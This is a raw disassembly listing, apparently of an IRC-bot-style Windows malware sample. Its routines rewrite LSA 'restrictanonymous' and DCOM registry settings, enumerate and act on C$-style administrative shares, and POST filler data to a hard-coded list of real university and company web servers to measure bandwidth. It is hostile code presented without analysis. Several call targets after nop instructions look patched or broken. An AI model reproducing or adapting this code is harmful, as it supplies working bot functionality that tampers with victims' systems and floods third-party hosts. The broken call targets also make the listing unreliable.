		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2830D49h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2690ACEh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D0503h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


